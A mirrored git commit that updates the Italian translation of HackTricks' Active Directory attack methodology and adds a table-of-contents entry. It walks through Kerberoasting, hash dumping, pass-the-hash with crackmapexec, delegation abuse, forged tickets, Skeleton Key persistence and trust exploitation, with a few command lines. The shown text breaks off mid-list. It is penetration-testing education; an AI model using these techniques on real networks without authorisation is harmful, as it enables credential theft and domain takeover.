mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/README.m
This commit is contained in:
Translator
parent
60ecc5f61f
commit
9086c136f3
@ -263,6 +263,7 @@
|
||||
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
|
||||
- [Adws Enumeration](windows-hardening/active-directory-methodology/adws-enumeration.md)
|
||||
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
|
||||
- [Badsuccessor Dmsa Migration Abuse](windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md)
|
||||
- [BloodHound & Other AD Enum Tools](windows-hardening/active-directory-methodology/bloodhound.md)
|
||||
- [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md)
|
||||
- [Custom SSP](windows-hardening/active-directory-methodology/custom-ssp.md)
|
||||
|
||||
@ -18,14 +18,14 @@ I concetti chiave all'interno di **Active Directory** includono:
|
||||
|
||||
**Active Directory Domain Services (AD DS)** comprende una serie di servizi critici per la gestione centralizzata e la comunicazione all'interno di una rete. Questi servizi comprendono:
|
||||
|
||||
1. **Domain Services** – Centralizza l'archiviazione dei dati e gestisce le interazioni tra **utenti** e **domini**, inclusi i funzionalità di **autenticazione** e **ricerca**.
|
||||
2. **Certificate Services** – Supervisiona la creazione, distribuzione e gestione di **certificati digitali** sicuri.
|
||||
3. **Lightweight Directory Services** – Supporta applicazioni abilitate per directory tramite il **protocollo LDAP**.
|
||||
4. **Directory Federation Services** – Fornisce capacità di **single-sign-on** per autenticare gli utenti attraverso più applicazioni web in una singola sessione.
|
||||
5. **Rights Management** – Aiuta a proteggere il materiale protetto da copyright regolando la sua distribuzione e uso non autorizzati.
|
||||
6. **DNS Service** – Cruciale per la risoluzione dei **nomi di dominio**.
|
||||
1. **Servizi di Dominio** – Centralizza l'archiviazione dei dati e gestisce le interazioni tra **utenti** e **domini**, inclusi **funzionalità di autenticazione** e **ricerca**.
|
||||
2. **Servizi di Certificato** – Supervisiona la creazione, distribuzione e gestione di **certificati digitali** sicuri.
|
||||
3. **Servizi di Directory Leggeri** – Supporta applicazioni abilitate per la directory tramite il **protocollo LDAP**.
|
||||
4. **Servizi di Federazione della Directory** – Fornisce capacità di **single-sign-on** per autenticare gli utenti attraverso più applicazioni web in una singola sessione.
|
||||
5. **Gestione dei Diritti** – Aiuta a proteggere il materiale protetto da copyright regolando la sua distribuzione e uso non autorizzati.
|
||||
6. **Servizio DNS** – Cruciale per la risoluzione dei **nomi di dominio**.
|
||||
|
||||
Per una spiegazione più dettagliata controlla: [**TechTerms - Definizione di Active Directory**](https://techterms.com/definition/active_directory)
|
||||
Per una spiegazione più dettagliata, controlla: [**TechTerms - Definizione di Active Directory**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Autenticazione Kerberos**
|
||||
|
||||
@ -110,7 +110,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
> [!WARNING]
|
||||
> Puoi trovare elenchi di nomi utente in [**questo repo github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) e in questo ([**nomi utente statisticamente probabili**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
>
|
||||
> Tuttavia, dovresti avere il **nome delle persone che lavorano nell'azienda** dal passo di ricognizione che dovresti aver eseguito prima di questo. Con il nome e il cognome potresti usare lo script [**namemash.py**](https://gist.github.com/superkojiman/11076951) per generare potenziali nomi utente validi.
|
||||
> Tuttavia, dovresti avere il **nome delle persone che lavorano nell'azienda** dal passo di ricognizione che avresti dovuto eseguire prima di questo. Con il nome e il cognome potresti usare lo script [**namemash.py**](https://gist.github.com/superkojiman/11076951) per generare potenziali nomi utente validi.
|
||||
|
||||
### Conoscere uno o più nomi utente
|
||||
|
||||
@ -146,7 +146,7 @@ Se puoi **accedere ad altri PC o condivisioni** con l'**utente null o guest** po
|
||||
|
||||
## Enumerare Active Directory CON credenziali/sessione
|
||||
|
||||
Per questa fase devi aver **compromesso le credenziali o una sessione di un account di dominio valido.** Se hai alcune credenziali valide o una shell come utente di dominio, **dovresti ricordare che le opzioni fornite prima sono ancora opzioni per compromettere altri utenti**.
|
||||
Per questa fase devi aver **compromesso le credenziali o una sessione di un account di dominio valido.** Se hai delle credenziali valide o una shell come utente di dominio, **dovresti ricordare che le opzioni fornite prima sono ancora opzioni per compromettere altri utenti**.
|
||||
|
||||
Prima di iniziare l'enumerazione autenticata dovresti sapere qual è il **problema del doppio salto Kerberos.**
|
||||
|
||||
@ -156,7 +156,7 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### Enumerazione
|
||||
|
||||
Aver compromesso un account è un **grande passo per iniziare a compromettere l'intero dominio**, perché sarai in grado di avviare l'**Enumerazione di Active Directory:**
|
||||
Aver compromesso un account è un **grande passo per iniziare a compromettere l'intero dominio**, perché sarai in grado di iniziare l'**Enumerazione di Active Directory:**
|
||||
|
||||
Riguardo a [**ASREPRoast**](asreproast.md) ora puoi trovare ogni possibile utente vulnerabile, e riguardo a [**Password Spraying**](password-spraying.md) puoi ottenere un **elenco di tutti i nomi utente** e provare la password dell'account compromesso, password vuote e nuove password promettenti.
|
||||
|
||||
@ -182,7 +182,7 @@ Riguardo a [**ASREPRoast**](asreproast.md) ora puoi trovare ogni possibile utent
|
||||
|
||||
Kerberoasting implica ottenere **ticket TGS** utilizzati dai servizi legati agli account utente e decifrare la loro crittografia—che si basa sulle password degli utenti—**offline**.
|
||||
|
||||
Maggiori informazioni su questo in:
|
||||
Maggiore informazione su questo in:
|
||||
|
||||
{{#ref}}
|
||||
kerberoast.md
|
||||
@ -196,7 +196,7 @@ Una volta ottenute alcune credenziali potresti controllare se hai accesso a qual
|
||||
|
||||
Se hai compromesso credenziali o una sessione come utente di dominio regolare e hai **accesso** con questo utente a **qualsiasi macchina nel dominio** dovresti cercare di trovare il modo di **escalare i privilegi localmente e cercare credenziali**. Questo perché solo con privilegi di amministratore locale sarai in grado di **dumpare gli hash di altri utenti** in memoria (LSASS) e localmente (SAM).
|
||||
|
||||
C'è una pagina completa in questo libro su [**escalation dei privilegi locali in Windows**](../windows-local-privilege-escalation/index.html) e una [**checklist**](../checklist-windows-privilege-escalation.md). Inoltre, non dimenticare di usare [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
C'è una pagina completa in questo libro riguardo a [**escalation dei privilegi locali in Windows**](../windows-local-privilege-escalation/index.html) e una [**checklist**](../checklist-windows-privilege-escalation.md). Inoltre, non dimenticare di usare [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
### Ticket di sessione attuali
|
||||
|
||||
@ -210,11 +210,11 @@ C'è una pagina completa in questo libro su [**escalation dei privilegi locali i
|
||||
```
|
||||
### NTLM Relay
|
||||
|
||||
Se sei riuscito a enumerare l'active directory avrai **più email e una migliore comprensione della rete**. Potresti essere in grado di forzare gli attacchi di NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
Se sei riuscito a enumerare l'active directory avrai **più email e una migliore comprensione della rete**. Potresti essere in grado di forzare gli attacchi [**NTLM relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
|
||||
### Cerca Credenziali nelle Condivisioni di Computer | Condivisioni SMB
|
||||
|
||||
Ora che hai alcune credenziali di base dovresti controllare se puoi **trovare** dei **file interessanti condivisi all'interno dell'AD**. Potresti farlo manualmente, ma è un compito molto noioso e ripetitivo (e di più se trovi centinaia di documenti che devi controllare).
|
||||
Ora che hai alcune credenziali di base dovresti controllare se puoi **trovare** dei **file interessanti condivisi all'interno dell'AD**. Potresti farlo manualmente, ma è un compito molto noioso e ripetitivo (e ancora di più se trovi centinaia di documenti che devi controllare).
|
||||
|
||||
[**Segui questo link per scoprire gli strumenti che potresti utilizzare.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
@ -238,9 +238,9 @@ printnightmare.md
|
||||
|
||||
**Per le seguenti tecniche un normale utente di dominio non è sufficiente, hai bisogno di privilegi/credenziali speciali per eseguire questi attacchi.**
|
||||
|
||||
### Estrazione degli Hash
|
||||
### Estrazione degli hash
|
||||
|
||||
Speriamo tu sia riuscito a **compromettere qualche account admin locale** utilizzando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) inclusi i relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
|
||||
Speriamo che tu sia riuscito a **compromettere qualche account admin locale** utilizzando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) inclusi i relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
|
||||
Poi, è tempo di estrarre tutti gli hash in memoria e localmente.\
|
||||
[**Leggi questa pagina sui diversi modi per ottenere gli hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
@ -277,36 +277,36 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
> [!WARNING]
|
||||
> Nota che questo è piuttosto **rumoroso** e **LAPS** lo **mitigherà**.
|
||||
|
||||
### Abuso di MSSQL e collegamenti fidati
|
||||
### Abuso di MSSQL e Link Fidati
|
||||
|
||||
Se un utente ha privilegi per **accedere alle istanze MSSQL**, potrebbe essere in grado di usarlo per **eseguire comandi** nell'host MSSQL (se in esecuzione come SA), **rubare** l'**hash** NetNTLM o persino eseguire un **attacco** di **relay**.\
|
||||
Inoltre, se un'istanza MSSQL è fidata (collegamento del database) da un'altra istanza MSSQL. Se l'utente ha privilegi sul database fidato, sarà in grado di **utilizzare la relazione di fiducia per eseguire query anche nell'altra istanza**. Queste fiducia possono essere concatenate e a un certo punto l'utente potrebbe essere in grado di trovare un database mal configurato dove può eseguire comandi.\
|
||||
**I collegamenti tra i database funzionano anche attraverso le fiducia tra foreste.**
|
||||
Inoltre, se un'istanza MSSQL è fidata (link di database) da un'altra istanza MSSQL. Se l'utente ha privilegi sul database fidato, sarà in grado di **utilizzare la relazione di fiducia per eseguire query anche nell'altra istanza**. Queste fiducia possono essere concatenate e a un certo punto l'utente potrebbe essere in grado di trovare un database mal configurato dove può eseguire comandi.\
|
||||
**I link tra i database funzionano anche attraverso le fiducia tra foreste.**
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
### Delegazione non vincolata
|
||||
### Delegazione Non Vincolata
|
||||
|
||||
Se trovi un oggetto Computer con l'attributo [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) e hai privilegi di dominio nel computer, sarai in grado di estrarre i TGT dalla memoria di ogni utente che accede al computer.\
|
||||
Quindi, se un **Domain Admin accede al computer**, sarai in grado di estrarre il suo TGT e impersonarlo usando [Pass the Ticket](pass-the-ticket.md).\
|
||||
Grazie alla delegazione vincolata potresti anche **compromettere automaticamente un Print Server** (si spera che sia un DC).
|
||||
Grazie alla delegazione vincolata potresti anche **compromettere automaticamente un Print Server** (speriamo che sia un DC).
|
||||
|
||||
{{#ref}}
|
||||
unconstrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### Delegazione vincolata
|
||||
### Delegazione Vincolata
|
||||
|
||||
Se un utente o un computer è autorizzato per la "Delegazione vincolata", sarà in grado di **impersonare qualsiasi utente per accedere a determinati servizi in un computer**.\
|
||||
Se un utente o un computer è autorizzato per la "Delegazione Vincolata", sarà in grado di **impersonare qualsiasi utente per accedere a determinati servizi in un computer**.\
|
||||
Quindi, se **comprometti l'hash** di questo utente/computer sarai in grado di **impersonare qualsiasi utente** (anche gli amministratori di dominio) per accedere a determinati servizi.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### Delegazione vincolata basata sulle risorse
|
||||
### Delegazione Vincolata Basata sulle Risorse
|
||||
|
||||
Avere il privilegio di **SCRITTURA** su un oggetto Active Directory di un computer remoto consente di ottenere l'esecuzione di codice con **privilegi elevati**:
|
||||
|
||||
@ -330,10 +330,10 @@ Scoprire un **servizio Spool in ascolto** all'interno del dominio può essere **
|
||||
printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Abuso delle sessioni di terze parti
|
||||
### Abuso di sessioni di terze parti
|
||||
|
||||
Se **altri utenti** **accedono** alla macchina **compromessa**, è possibile **raccogliere credenziali dalla memoria** e persino **iniettare beacon nei loro processi** per impersonarli.\
|
||||
Di solito gli utenti accedono al sistema tramite RDP, quindi ecco come eseguire un paio di attacchi sulle sessioni RDP di terze parti:
|
||||
Di solito gli utenti accedono al sistema tramite RDP, quindi ecco come eseguire un paio di attacchi su sessioni RDP di terze parti:
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -347,7 +347,7 @@ rdp-sessions-abuse.md
|
||||
laps.md
|
||||
{{#endref}}
|
||||
|
||||
### Furto di certificati
|
||||
### Furto di Certificati
|
||||
|
||||
**Raccogliere certificati** dalla macchina compromessa potrebbe essere un modo per escalare privilegi all'interno dell'ambiente:
|
||||
|
||||
@ -355,7 +355,7 @@ laps.md
|
||||
ad-certificates/certificate-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### Abuso dei modelli di certificato
|
||||
### Abuso di Modelli di Certificati
|
||||
|
||||
Se sono configurati **modelli vulnerabili**, è possibile abusarne per escalare privilegi:
|
||||
|
||||
@ -363,9 +363,9 @@ Se sono configurati **modelli vulnerabili**, è possibile abusarne per escalare
|
||||
ad-certificates/domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
## Post-exploitation con account ad alto privilegio
|
||||
## Post-esploitazione con account ad alto privilegio
|
||||
|
||||
### Dumping delle credenziali di dominio
|
||||
### Dumping delle Credenziali di Dominio
|
||||
|
||||
Una volta ottenuti i privilegi di **Domain Admin** o ancora meglio di **Enterprise Admin**, puoi **dumpare** il **database di dominio**: _ntds.dit_.
|
||||
|
||||
@ -398,7 +398,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
L'**attacco Silver Ticket** crea un **biglietto legittimo per il Ticket Granting Service (TGS)** per un servizio specifico utilizzando l'**hash NTLM** (ad esempio, l'**hash dell'account PC**). Questo metodo viene impiegato per **accedere ai privilegi del servizio**.
|
||||
L'**attacco Silver Ticket** crea un **ticket di Ticket Granting Service (TGS)** legittimo per un servizio specifico utilizzando l'**hash NTLM** (ad esempio, l'**hash dell'account PC**). Questo metodo viene impiegato per **accedere ai privilegi del servizio**.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -406,7 +406,7 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
Un'**attacco Golden Ticket** comporta che un attaccante ottenga accesso all'**hash NTLM dell'account krbtgt** in un ambiente Active Directory (AD). Questo account è speciale perché viene utilizzato per firmare tutti i **Ticket Granting Tickets (TGT)**, che sono essenziali per l'autenticazione all'interno della rete AD.
|
||||
Un **attacco Golden Ticket** comporta che un attaccante ottenga accesso all'**hash NTLM dell'account krbtgt** in un ambiente Active Directory (AD). Questo account è speciale perché viene utilizzato per firmare tutti i **Ticket Granting Tickets (TGT)**, essenziali per l'autenticazione all'interno della rete AD.
|
||||
|
||||
Una volta che l'attaccante ottiene questo hash, può creare **TGT** per qualsiasi account scelga (attacco Silver ticket).
|
||||
|
||||
@ -416,7 +416,7 @@ golden-ticket.md
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
Questi sono simili ai biglietti d'oro forgiati in un modo che **bypassa i comuni meccanismi di rilevamento dei biglietti d'oro.**
|
||||
Questi sono simili ai golden ticket forgiati in un modo che **bypassa i comuni meccanismi di rilevamento dei golden ticket.**
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -440,7 +440,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### Gruppo AdminSDHolder
|
||||
|
||||
L'oggetto **AdminSDHolder** in Active Directory garantisce la sicurezza dei **gruppi privilegiati** (come Domain Admins e Enterprise Admins) applicando una standard **Access Control List (ACL)** su questi gruppi per prevenire modifiche non autorizzate. Tuttavia, questa funzionalità può essere sfruttata; se un attaccante modifica l'ACL di AdminSDHolder per dare accesso completo a un utente normale, quell'utente ottiene un controllo esteso su tutti i gruppi privilegiati. Questa misura di sicurezza, destinata a proteggere, può quindi ritorcersi contro, consentendo accessi non autorizzati a meno che non venga monitorata da vicino.
|
||||
L'oggetto **AdminSDHolder** in Active Directory garantisce la sicurezza dei **gruppi privilegiati** (come Domain Admins e Enterprise Admins) applicando una standard **Access Control List (ACL)** su questi gruppi per prevenire modifiche non autorizzate. Tuttavia, questa funzione può essere sfruttata; se un attaccante modifica l'ACL di AdminSDHolder per dare accesso completo a un utente normale, quell'utente ottiene un controllo esteso su tutti i gruppi privilegiati. Questa misura di sicurezza, destinata a proteggere, può quindi ritorcersi contro, consentendo accessi non autorizzati a meno che non venga monitorata da vicino.
|
||||
|
||||
[**Maggiori informazioni sul Gruppo AdminDSHolder qui.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
@ -476,7 +476,7 @@ Modifica **LSASS** in memoria per stabilire una **password universale**, concede
|
||||
skeleton-key.md
|
||||
{{#endref}}
|
||||
|
||||
### SSP personalizzato
|
||||
### Custom SSP
|
||||
|
||||
[Scopri cos'è un SSP (Security Support Provider) qui.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Puoi creare il tuo **SSP** per **catturare** in **testo chiaro** le **credenziali** utilizzate per accedere alla macchina.
|
||||
@ -503,47 +503,47 @@ Controlla:
|
||||
laps.md
|
||||
{{#endref}}
|
||||
|
||||
## Escalation dei privilegi nella Foresta - Fiducia tra Domini
|
||||
## Escalation dei Privilegi nella Foresta - Fiducia tra Domini
|
||||
|
||||
Microsoft considera la **Foresta** come il confine di sicurezza. Ciò implica che **compromettere un singolo dominio potrebbe potenzialmente portare alla compromissione dell'intera Foresta**.
|
||||
|
||||
### Informazioni di base
|
||||
### Informazioni di Base
|
||||
|
||||
Una [**fiducia di dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) è un meccanismo di sicurezza che consente a un utente di un **dominio** di accedere alle risorse in un altro **dominio**. Crea essenzialmente un collegamento tra i sistemi di autenticazione dei due domini, consentendo che le verifiche di autenticazione fluiscano senza problemi. Quando i domini impostano una fiducia, scambiano e mantengono specifici **chiavi** all'interno dei loro **Domain Controllers (DC)**, che sono cruciali per l'integrità della fiducia.
|
||||
Una [**fiducia di dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) è un meccanismo di sicurezza che consente a un utente di un **dominio** di accedere a risorse in un altro **dominio**. Crea essenzialmente un collegamento tra i sistemi di autenticazione dei due domini, consentendo che le verifiche di autenticazione fluiscano senza problemi. Quando i domini stabiliscono una fiducia, scambiano e mantengono specifiche **chiavi** all'interno dei loro **Domain Controllers (DC)**, che sono cruciali per l'integrità della fiducia.
|
||||
|
||||
In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio fidato**, deve prima richiedere un biglietto speciale noto come **inter-realm TGT** dal DC del proprio dominio. Questo TGT è crittografato con una **chiave** condivisa su cui entrambi i domini hanno concordato. L'utente presenta quindi questo TGT al **DC del dominio fidato** per ottenere un biglietto di servizio (**TGS**). Dopo la validazione con successo dell'inter-realm TGT da parte del DC del dominio fidato, emette un TGS, concedendo all'utente accesso al servizio.
|
||||
In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio fidato**, deve prima richiedere un ticket speciale noto come **inter-realm TGT** dal DC del proprio dominio. Questo TGT è crittografato con una **chiave** condivisa su cui entrambi i domini hanno concordato. L'utente presenta quindi questo TGT al **DC del dominio fidato** per ottenere un ticket di servizio (**TGS**). Dopo la validazione con successo dell'inter-realm TGT da parte del DC del dominio fidato, emette un TGS, concedendo all'utente accesso al servizio.
|
||||
|
||||
**Passaggi**:
|
||||
|
||||
1. Un **computer client** in **Dominio 1** avvia il processo utilizzando il proprio **hash NTLM** per richiedere un **Ticket Granting Ticket (TGT)** dal proprio **Domain Controller (DC1)**.
|
||||
2. DC1 emette un nuovo TGT se il client è autenticato con successo.
|
||||
3. Il client richiede quindi un **inter-realm TGT** da DC1, necessario per accedere alle risorse in **Dominio 2**.
|
||||
1. Un **computer client** nel **Dominio 1** avvia il processo utilizzando il proprio **hash NTLM** per richiedere un **Ticket Granting Ticket (TGT)** dal proprio **Domain Controller (DC1)**.
|
||||
2. DC1 emette un nuovo TGT se il client viene autenticato con successo.
|
||||
3. Il client richiede quindi un **inter-realm TGT** da DC1, necessario per accedere alle risorse nel **Dominio 2**.
|
||||
4. L'inter-realm TGT è crittografato con una **chiave di fiducia** condivisa tra DC1 e DC2 come parte della fiducia tra domini bidirezionale.
|
||||
5. Il client porta l'inter-realm TGT al **Domain Controller (DC2)** di Dominio 2.
|
||||
6. DC2 verifica l'inter-realm TGT utilizzando la sua chiave di fiducia condivisa e, se valido, emette un **Ticket Granting Service (TGS)** per il server in Dominio 2 a cui il client desidera accedere.
|
||||
7. Infine, il client presenta questo TGS al server, che è crittografato con l'hash dell'account del server, per ottenere accesso al servizio in Dominio 2.
|
||||
5. Il client porta l'inter-realm TGT al **Domain Controller (DC2)** del Dominio 2.
|
||||
6. DC2 verifica l'inter-realm TGT utilizzando la sua chiave di fiducia condivisa e, se valido, emette un **Ticket Granting Service (TGS)** per il server nel Dominio 2 a cui il client desidera accedere.
|
||||
7. Infine, il client presenta questo TGS al server, che è crittografato con l'hash dell'account del server, per ottenere accesso al servizio nel Dominio 2.
|
||||
|
||||
### Diverse fiducia
|
||||
|
||||
È importante notare che **una fiducia può essere unidirezionale o bidirezionale**. Nelle opzioni bidirezionali, entrambi i domini si fideranno l'uno dell'altro, ma nella relazione di fiducia **unidirezionale** uno dei domini sarà il **fidato** e l'altro il **fiducioso**. Nel secondo caso, **sarai in grado di accedere solo alle risorse all'interno del dominio fiducioso dal dominio fidato**.
|
||||
È importante notare che **una fiducia può essere unidirezionale o bidirezionale**. Nelle opzioni bidirezionali, entrambi i domini si fideranno l'uno dell'altro, ma nella relazione di fiducia **unidirezionale** uno dei domini sarà il **fidato** e l'altro il **fiducioso**. Nel secondo caso, **sarai in grado di accedere solo alle risorse all'interno del dominio fiducioso dal fidato**.
|
||||
|
||||
Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello fidato. Inoltre, in **Dominio A**, questo sarebbe una **fiducia in uscita**; e in **Dominio B**, questo sarebbe una **fiducia in entrata**.
|
||||
Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello fidato. Inoltre, in **Dominio A**, questo sarebbe una **fiducia in uscita**; e in **Dominio B**, sarebbe una **fiducia in entrata**.
|
||||
|
||||
**Diverse relazioni di fiducia**
|
||||
|
||||
- **Fiducia Genitore-Figlio**: Questa è una configurazione comune all'interno della stessa foresta, dove un dominio figlio ha automaticamente una fiducia transitoria bidirezionale con il suo dominio genitore. Essenzialmente, ciò significa che le richieste di autenticazione possono fluire senza problemi tra il genitore e il figlio.
|
||||
- **Fiducia Cross-link**: Riferita come "fiducia abbreviata", queste sono stabilite tra domini figli per accelerare i processi di riferimento. In foreste complesse, i riferimenti di autenticazione devono generalmente viaggiare fino alla radice della foresta e poi giù fino al dominio target. Creando collegamenti incrociati, il viaggio viene accorciato, il che è particolarmente vantaggioso in ambienti geograficamente dispersi.
|
||||
- **Fiducia Esterna**: Queste sono impostate tra domini diversi e non correlati e sono di natura non transitoria. Secondo [la documentazione di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), le fiducia esterne sono utili per accedere a risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne.
|
||||
- **Fiducia Tree-root**: Queste fiducia sono automaticamente stabilite tra il dominio radice della foresta e un nuovo albero radice aggiunto. Anche se non comunemente incontrate, le fiducia tree-root sono importanti per aggiungere nuovi alberi di dominio a una foresta, consentendo loro di mantenere un nome di dominio unico e garantendo una transitorietà bidirezionale. Maggiori informazioni possono essere trovate nella [guida di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Fiducia tra Foreste**: Questo tipo di fiducia è una fiducia bidirezionale transitoria tra due domini radice di foresta, imponendo anche il filtraggio SID per migliorare le misure di sicurezza.
|
||||
- **Fiducia MIT**: Queste fiducia sono stabilite con domini Kerberos non Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120). Le fiducia MIT sono un po' più specializzate e si rivolgono a ambienti che richiedono integrazione con sistemi basati su Kerberos al di fuori dell'ecosistema Windows.
|
||||
- **Fiducia Genitore-Figlio**: Questa è una configurazione comune all'interno della stessa foresta, dove un dominio figlio ha automaticamente una fiducia bidirezionale transitiva con il suo dominio genitore. Essenzialmente, ciò significa che le richieste di autenticazione possono fluire senza problemi tra il genitore e il figlio.
|
||||
- **Fiducia Cross-link**: Riferita come "fiducia abbreviata", queste vengono stabilite tra domini figli per accelerare i processi di riferimento. In foreste complesse, i riferimenti di autenticazione devono generalmente viaggiare fino alla radice della foresta e poi giù verso il dominio target. Creando collegamenti incrociati, il viaggio viene accorciato, il che è particolarmente vantaggioso in ambienti geograficamente dispersi.
|
||||
- **Fiducia Esterna**: Queste vengono impostate tra domini diversi e non correlati e sono di natura non transitiva. Secondo la [documentazione di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), le fiducia esterne sono utili per accedere a risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne.
|
||||
- **Fiducia Tree-root**: Queste fiducia vengono stabilite automaticamente tra il dominio radice della foresta e un nuovo albero radice aggiunto. Anche se non comunemente incontrate, le fiducia tree-root sono importanti per aggiungere nuovi alberi di dominio a una foresta, consentendo loro di mantenere un nome di dominio unico e garantendo una transitività bidirezionale. Maggiori informazioni possono essere trovate nella [guida di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Fiducia tra Foreste**: Questo tipo di fiducia è una fiducia bidirezionale transitiva tra due domini radice di foresta, imponendo anche il filtraggio SID per migliorare le misure di sicurezza.
|
||||
- **Fiducia MIT**: Queste fiducia vengono stabilite con domini Kerberos non Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120). Le fiducia MIT sono un po' più specializzate e si rivolgono a ambienti che richiedono integrazione con sistemi basati su Kerberos al di fuori dell'ecosistema Windows.
|
||||
|
||||
#### Altre differenze nelle **relazioni di fiducia**
|
||||
|
||||
- Una relazione di fiducia può anche essere **transitiva** (A si fida di B, B si fida di C, quindi A si fida di C) o **non transitiva**.
|
||||
- Una relazione di fiducia può essere impostata come **fiducia bidirezionale** (entrambi si fidano l'uno dell'altro) o come **fiducia unidirezionale** (solo uno di loro si fida dell'altro).
|
||||
|
||||
### Percorso di attacco
|
||||
### Percorso di Attacco
|
||||
|
||||
1. **Enumerare** le relazioni di fiducia
|
||||
2. Controlla se qualche **principale di sicurezza** (utente/gruppo/computer) ha **accesso** alle risorse dell'**altro dominio**, magari tramite voci ACE o essendo in gruppi dell'altro dominio. Cerca **relazioni tra domini** (la fiducia è stata creata per questo probabilmente).
|
||||
@ -552,9 +552,9 @@ Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello f
|
||||
|
||||
Gli attaccanti potrebbero accedere alle risorse in un altro dominio attraverso tre meccanismi principali:
|
||||
|
||||
- **Appartenenza a Gruppi Locali**: I principali potrebbero essere aggiunti a gruppi locali su macchine, come il gruppo "Amministratori" su un server, concedendo loro un controllo significativo su quella macchina.
|
||||
- **Appartenenza a Gruppi di Domini Stranieri**: I principali possono anche essere membri di gruppi all'interno del dominio straniero. Tuttavia, l'efficacia di questo metodo dipende dalla natura della fiducia e dall'ambito del gruppo.
|
||||
- **Access Control Lists (ACLs)**: I principali potrebbero essere specificati in un **ACL**, in particolare come entità in **ACEs** all'interno di un **DACL**, fornendo loro accesso a risorse specifiche. Per coloro che desiderano approfondire la meccanica delle ACL, DACL e ACE, il whitepaper intitolato “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” è una risorsa preziosa.
|
||||
- **Appartenenza a Gruppi Locali**: I principali potrebbero essere aggiunti a gruppi locali su macchine, come il gruppo “Amministratori” su un server, concedendo loro un controllo significativo su quella macchina.
|
||||
- **Appartenenza a Gruppi di Domini Esterni**: I principali possono anche essere membri di gruppi all'interno del dominio esterno. Tuttavia, l'efficacia di questo metodo dipende dalla natura della fiducia e dall'ambito del gruppo.
|
||||
